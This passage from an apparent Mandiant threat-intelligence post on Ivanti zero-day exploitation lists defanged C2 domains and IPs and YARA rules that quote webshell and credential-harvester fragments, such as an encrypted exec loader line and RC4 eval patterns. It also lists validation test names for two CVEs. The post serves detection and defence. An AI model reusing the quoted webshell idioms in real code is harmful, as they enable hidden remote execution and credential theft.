style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">ehangmun[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">secure-cama[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">146.0.228[.]66</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">159.65.130[.]146</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">8.137.112[.]245</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">91.92.254[.]14</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">186.179.39[.]235 </code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Mass exploitation activity</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">50.215.39[.]49</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Post-exploitation activity</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">45.61.136[.]14</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Post-exploitation activity</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">173.220.106[.]166</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Post-exploitation activity</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <h2>YARA Rules</h2> </div> </div> </div> </div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_Webshell_BUSHWALK_1 { meta: author = "Mandiant" description = "This rule detects BUSHWALK, a webshell written in Perl CGI that is embedded into a legitimate Pulse Secure file to enable file transfers" strings: $s1 = "SafariiOS" ascii $s2 = "command" ascii $s3 = "change" ascii $s4 = "update" ascii $s5 = "$data = RC4($key, $data);" ascii condition: filesize < 5KB and all of them }</code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_Webshell_CHAINLINE_1 { meta: author = "Mandiant" description = "This rule detects the CHAINLINE webshell, which receives RC4 encrypted commands and returns the execution result" md5 = "3045f5b3d355a9ab26ab6f44cc831a83" strings: $s1 = "crypt(command: str)" ascii $s2 = "tmp[i] = chr(ord(tmp[i])" ascii $s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii $s4 = "class Health(Resource)" ascii $s5 = "crypt(base64.b64decode(command.encode(" ascii $s6 = "base64.b64encode(crypt(result)" ascii $s7 = "{\"message\": 'ok', \"stats\": result}" ascii condition: filesize < 100KB and any of them } </code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_HUNTING_APT_Webshell_FRAMESTING_result { meta: author = "Mandiant" description = "Detects strings associated with FRAMESTING webshell" md5 = "465600cece80861497e8c1c86a07a23e" strings: $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))), {'request':request,'cache'" $s2 = "result={'message':'','action':0}" condition: any of them }</code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_Webshell_LIGHTWIRE_4 { meta: author = "Mandiant" description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner." md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9" strings: $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\ (CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/ condition: filesize < 1MB and all of them } </code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_CredTheft_WARPWIRE_strings { meta: author = "Mandiant" description = "Detects strings within WARPWIRE credential harvester" md5 = "b15f47e234b5d26fb2cc81fc6fd89775" strings: $header = "function SetLastRealm(sValue) {" // password fields $username = "document.frmLogin.username.value;" $password = "document.frmLogin.password.value;" // post version $btoa = "btoa(" $xhr_post = /xhr.open\(.POST.,( )?url,/ // get version $xhr_get = /xhr.open\(.GET.,( )?url,/ $xhr_send = "xhr.send(null);" condition: $header in (0..100) and $password in (@username[1]..@username[1]+100) and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1].. @xhr_get[1]+50))) }</code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h2>Mandiant Security Validation Actions</h2> <p>Organizations can validate their security controls using the following actions with <a href="https://cloud.google.com/security/products/threat-intelligence" rel="noopener" target="_blank"><u>Mandiant Security Validation</u></a>.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table><colgroup><col><col></colgroup> <tbody> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">VID</strong></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Name</strong></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-938</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-939</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - FRAMESTING, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-940</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - WARPWIRE, Download, Variant #3</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-941</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Command and Control - WARPWIRE, DNS Query, Variant #3</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-942</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Command and Control - WARPWIRE, DNS Query, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-943</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - WARPWIRE, Download, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-944</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Command and Control - WARPWIRE, DNS Query, Variant #2</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-945</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - WARPWIRE, Download, Variant #2</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-946</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-947</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - LIGHTWIRE, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-934</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-935</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-936</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></span></section><section class="kcBhad"><section class="Fabbec"><span class="WrMNjb">Posted in</span><ul class="FzXI4e"><li class="I4B51b"><a href="https://cloud.google.com/blog/topics/threat-intelligence" track-metadata-position="body"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence"track-metadata-module="tag list"track-metadata-module_headline="posted in">Threat Intelligence</a></li></ul></section></section></div></div></div></div></div><section class="nRhiJb-DARUcf " track-metadata-module="related articles" track-metadata-module_headline="related articles"><div class="nRhiJb-DbgRPb-c5RTEf-ma6Yeb nRhiJb-DbgRPb-wNfPc-cGMI2b"><h5 class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-wNfPc nRhiJb-DbgRPb-II5mzb-cGMI2b">Related articles</h5><section class="m9cUGf HGev3 nJD2Qe nRhiJb-ObfsIf"><div class=" QaGyvd nRhiJb-kR0ZEf-OWXEXe-GV1x9e-c5RTEf nRhiJb-kR0ZEf-OWXEXe-GV1x9e-qWD73c-V2iZpe"><div class="mA0uBe"><a href="https://cloud.google.com/blog/topics/threat-intelligence/red-team-application-security-testing" class="lD2oe" track-name="bridging the gap: elevating red team assessments with application security testing"track-type="card"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence/red-team-application-security-testing"><div class="AhkbS "><div class="hqnDEf"><section class="PBkdHd "><img class=" D5RK8d" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" loading="lazy"/></section></div><div class="JUOx5b"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c nRhiJb-DbgRPb-c5RTEf-ma6Yeb nRhiJb-BFbNVe-r8s4j-bMElCd FI6Gl nRhiJb-fmcmS-oXtfBe" track-name="threat intelligence"track-type="tag">Threat Intelligence</div><h3 class="Qwf2Db-MnozTc HGFKtc Qwf2Db-MnozTc-OWXEXe-MnozTc-wNfPc">Bridging the Gap: Elevating Red Team Assessments with Application Security Testing</h3><p class="nRhiJb-cHYyed dTIXyb nRhiJb-DbgRPb-R6PoUb-ma6Yeb">By Mandiant • 13-minute read</p></div></div></a></div></div><div class=" QaGyvd nRhiJb-kR0ZEf-OWXEXe-GV1x9e-c5RTEf nRhiJb-kR0ZEf-OWXEXe-GV1x9e-qWD73c-V2iZpe"><div class="mA0uBe"><a href="https://cloud.google.com/blog/topics/threat-intelligence/c2-browser-isolation-environments" class="lD2oe" track-name="(qr) coding my way out of here: c2 in browser isolation environments"track-type="card"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence/c2-browser-isolation-environments"><div class="AhkbS "><div class="hqnDEf"><section class="PBkdHd "><img class=" D5RK8d" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" loading="lazy"/></section></div><div class="JUOx5b"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c nRhiJb-DbgRPb-c5RTEf-ma6Yeb nRhiJb-BFbNVe-r8s4j-bMElCd FI6Gl nRhiJb-fmcmS-oXtfBe" track-name="threat intelligence"track-type="tag">Threat Intelligence</div><h3 class="Qwf2Db-MnozTc HGFKtc Qwf2Db-MnozTc-OWXEXe-MnozTc-wNfPc">(QR) Coding My Way Out of Here: C2 in Browser Isolation Environments</h3><p class="nRhiJb-cHYyed dTIXyb nRhiJb-DbgRPb-R6PoUb-ma6Yeb">By Mandiant • 8-minute read</p></div></div></a></div></div><div class=" QaGyvd nRhiJb-kR0ZEf-OWXEXe-GV1x9e-c5RTEf nRhiJb-kR0ZEf-OWXEXe-GV1x9e-qWD73c-V2iZpe"><div class="mA0uBe"><a href="https://cloud.google.com/blog/topics/threat-intelligence/glassbridge-pro-prc-influence-operations" class="lD2oe" track-name="seeing through a glassbridge: understanding the digital marketing ecosystem spreading pro-prc influence operations"track-type="card"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence/glassbridge-pro-prc-influence-operations"><div class="AhkbS "><div class="hqnDEf"><section class="PBkdHd "><img class=" D5RK8d" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" loading="lazy"/></section></div><div class="JUOx5b"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c nRhiJb-DbgRPb-c5RTEf-ma6Yeb nRhiJb-BFbNVe-r8s4j-bMElCd FI6Gl nRhiJb-fmcmS-oXtfBe" track-name="threat intelligence"track-type="tag">Threat Intelligence</div><h3 class="Qwf2Db-MnozTc HGFKtc Qwf2Db-MnozTc-OWXEXe-MnozTc-wNfPc">Seeing Through a GLASSBRIDGE: Understanding the Digital Marketing Ecosystem Spreading Pro-PRC Influence Operations</h3><p class="nRhiJb-cHYyed dTIXyb nRhiJb-DbgRPb-R6PoUb-ma6Yeb">By Google Threat Intelligence Group • 13-minute read</p></div></div></a></div></div><div class=" QaGyvd nRhiJb-kR0ZEf-OWXEXe-GV1x9e-c5RTEf nRhiJb-kR0ZEf-OWXEXe-GV1x9e-qWD73c-V2iZpe"><div class="mA0uBe"><a href="https://cloud.google.com/blog/topics/threat-intelligence/gemini-malware-analysis-code-interpreter-threat-intelligence" class="lD2oe" track-name="empowering gemini for malware analysis with code interpreter and google threat intelligence"track-type="card"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence/gemini-malware-analysis-code-interpreter-threat-intelligence"><div class="AhkbS "><div class="hqnDEf"><section class="PBkdHd "><img class=" D5RK8d" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png" loading="lazy"/></section></div><div class="JUOx5b"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c nRhiJb-DbgRPb-c5RTEf-ma6Yeb nRhiJb-BFbNVe-r8s4j-bMElCd FI6Gl nRhiJb-fmcmS-oXtfBe" track-name="threat intelligence"track-type="tag">Threat Intelligence</div><h3 class="Qwf2Db-MnozTc HGFKtc Qwf2Db-MnozTc-OWXEXe-MnozTc-wNfPc">Empowering Gemini for Malware Analysis with Code Interpreter and Google Threat Intelligence</h3><p class="nRhiJb-cHYyed dTIXyb nRhiJb-DbgRPb-R6PoUb-ma6Yeb">By Bernardo Quintero • 6-minute read</p></div></div></a></div></div></section></div></section></article></div></div><c-data id="i1" jsdata=" n2jFB;_;1"></c-data></c-wiz><script aria-hidden="true" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">window.wiz_progress&&window.wiz_progress();window.wiz_tick&&window.wiz_tick('zPZHOe');</script><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">(function(){'use strict';var c=window,d=[];c.aft_counter=d;var e=[],f=0;function _recordIsAboveFold(a){if(!c._isLazyImage(a)&&!a.hasAttribute("data-noaft")&&a.src){var b=(c._isVisible||function(){})(c.document,a);a.setAttribute("data-atf",b);b&&(e.indexOf(a)!==-1||d.indexOf(a)!==-1||a.complete||d.push(a),a.hasAttribute("data-iml")&&(a=Number(a.getAttribute("data-iml")),a>f&&(f=a)))}} c.initAft=function(){f=0;e=Array.prototype.slice.call(document.getElementsByTagName("img")).filter(function(a){return!!a.getAttribute("data-iml")});[].forEach.call(document.getElementsByTagName("img"),function(a){try{_recordIsAboveFold(a)}catch(b){throw b.message=a.hasAttribute("data-iid")?b.message+"\nrecordIsAboveFold error for defer inlined image":b.message+("\nrecordIsAboveFold error for img element with <src: "+a.src+">"),b;}});if(d.length===0)c.onaft(f)};}).call(this); initAft()</script><script id="_ij" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">window.IJ_values = [[null,null,"",false,null,null,true,false],'0','https:\/\/cloud.google.com\/blog\/',["cloudblog","topics/threat-intelligence/investigating-ivanti-zero-day-exploitation",["en","de","fr","ko","ja"],"en",null,"https://cloud.google.com/blog","blog_article","cloud.google.com",["https://console.cloud.google.com/freetrial/","https://cloud.google.com/contact/","https://cloud.google.com/","https://cloud.google.com/blog","https://cloud.google.com/","https://www.google.com/","https://cloud.google.com/products/","https://about.google.com/products/","https://about.google/intl/en/","https://support.google.com"],["googlecloud","googlecloud","showcase/google-cloud","googlecloud/","googlecloud/"],true], null ,'boq_cloudx-web-blog-uiserver_20241210.07_p0','cloud.google.com',["SG",1],[[["bigquery_ftv",["bigquery_ftv",[["control",["control",[97716263,97716264],["/bigquery"]]],["variantA",["variantA",[97716265,97716266],["/bigquery"],null,[["/bigquery",[[["fte",[[31,["mFzK5zoqCQr9","en","BigQuery enterprise data warehouse","BigQuery is a serverless, cost-effective, and multicloud data warehouse designed to help you turn big data into valuable business insights. Start free.","PAGE_TEMPLATE_TYPE_PRODUCT_V3","/bigquery",null,null,1,1],[[76,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[[[null,"BigQuery"],[null,"From data warehouse to a unified, AI-ready data platform"],[null,"\u003cp\u003eBigQuery is a fully managed, AI-ready data analytics platform that helps you maximize value from your data and is designed to be multi-engine, multi-format, and multi-cloud.\u003c/p\u003e\u003cp\u003eStore 10 GiB of data and run up to 1 TiB of queries for free per month. \u003cb\u003eNew customers also get $300 in free credits\u003c/b\u003e to try BigQuery and other Google Cloud products.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 hero"],["track-metadata-module_headline","from data warehouse to a unified, ai-ready data platform"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","product v3 hero"],["track-metadata-module_headline","from data warehouse to a unified, ai-ready data platform"],["track-name","contact sales"]],192550]}]],[[null,null,"https://www.gstatic.com/bricks/image/702bc723dcfcddf8942bb459be20163106a5f64ed91404df38c73ca955f96260.svg"],null,null,null,null,null,null,null,[null,"Magnifying glass icon"]]],[[null,[null,"Product highlights"]],null,null,[[null,[null,"Unified data platform to connect all your data and activate with AI"],[[null,null,"#features"],"Unified data platform to connect all your data and activate with AI",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","unified data platform to connect all your data and activate with ai"]]]}]],[null,[null,"Built-in machine learning to create and run models using simple SQL"],[[null,null,"#features"],"Built-in machine learning to create and run models using simple SQL",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","built-in machine learning to create and run models using simple sql"]]]}]],[null,[null,"Real-time analytics with streaming and built-in BI"],[[null,null,"#features"],"Real-time analytics with streaming and built-in BI",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","real-time analytics with streaming and built-in bi"]]]}]]]],[[null,[[null,null,"https://gobig.cloud/?utm_source\u003dinitial\u0026utm_medium\u003dcgcweb\u0026utm_campaign\u003dgobig"],"Sign up for our no-cost discovery workshop",{"10000":[[["track-metadata-eventdetail","gobig.cloud"],["track-metadata-module","product v3 hero"],["track-name","sign up for our no-cost discovery workshop"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/d1a2346b57ea1c97bc4f8f01f289616f45c33d66bcd5b1372252fce3533cae4a.svg"],null,null,null,null,null,null,null,[null,"bigquery logo"]]],[[null,null,[null,"\u003cp\u003eGoogle is named a leader in The Forrester Wave™: Data Lakehouses Q2 2024 report.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/resources/forrester-data-lakehouse-wave-analyst-report"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/resources/forrester-data-lakehouse-wave-analyst-report"],["track-metadata-module","product v3 hero"],["track-name","\u003cp\u003egoogle is named a leader in the forrester wave™: data lakehouses q2 2024 report.\u003c/p\u003e"]]]}]]],{"10000":[[["track-metadata-module","product v3 hero"]],191766],"10002":"from-data-warehouse-to-a-unified-ai-ready-data-platform"}],[77,null,null,null,null,null,null,null,null,null,null,null,[null,[[[[null,[null,"Power your data agents with Gemini in BigQuery"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-gemini-in-bigquery-at-next24\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini in BigQuery\u003c/a\u003e provides AI-powered assistive and collaboration features, including \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/write-sql-duet-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ecode assist\u003c/a\u003e, visual data preparation, and intelligent recommendations that help enhance productivity and optimize costs. BigQuery provides a \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/announcing-bigquery-studio?e\u003d48754805\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003esingle, unified workspace\u003c/a\u003e that includes a SQL, a \u003ca href\u003d\"https://cloud.google.com/colab/docs/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003enotebook\u003c/a\u003e, and a NL-based \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/data-canvas\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ecanvas interface\u003c/a\u003e for data practitioners of various coding skills to simplify analytics workflows from data ingestion and preparation to data exploration and visualization to ML model creation and use.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Learn how to build data agents with Gemini in BigQuery"]],[[null,null,"https://youtu.be/9WE1rltc4ec"],null,12,{"10000":[[["track-metadata-eventdetail","youtu.be/9we1rltc4ec"],["track-metadata-module","product v3 features"],["track-metadata-video-id","9we1rltc4ec"],["track-name","learn how to build data agents with gemini in bigquery"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/CAD-iNr-6vfpGVOI2E2yZxVlAD-fpxWZVb0Hch3kvo7EerasZScWFB8uLwA1My4q4cXF5FD3BgqiXw"],null,null,true,null,null,null,null,[null,"Gemini in BigQuery"]],[null,null,"https://youtu.be/9WE1rltc4ec"],[222]]]]],null,"power-your-data-agents-with-gemini-in-bigquery"],[[[null,[null,"Bring multiple engines to a single copy of data"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/solutions/spark\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eServerless Apache Spark\u003c/a\u003e is available directly in BigQuery. You can write and execute Spark in BigQuery Studio without exporting data or managing infrastructure. BigQuery metastore provides shared runtime metadata for SQL and open source engines for a unified set of security and governance controls across all engines and storage types. By bringing multiple engines, including SQL, Spark, and Python, to a single copy of data and metadata, you can break down data silos and increase efficiency.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"What's New with BigQuery at Next"]],[[null,null,"https://www.youtube.com/watch?v\u003d8FHlTpOXA1E\u0026t\u003d4s"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","8fhltpoxa1e"],["track-name","what's new with bigquery at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/ry0taZRojSJFMdP32qCM6OKpA-RiXA4GWyvvTfvpO_tGBIZiZzQUZbvOvaITR0lrffxpjq_EpfbN"],null,null,true,null,null,null,null,[null,"BigQuery unified 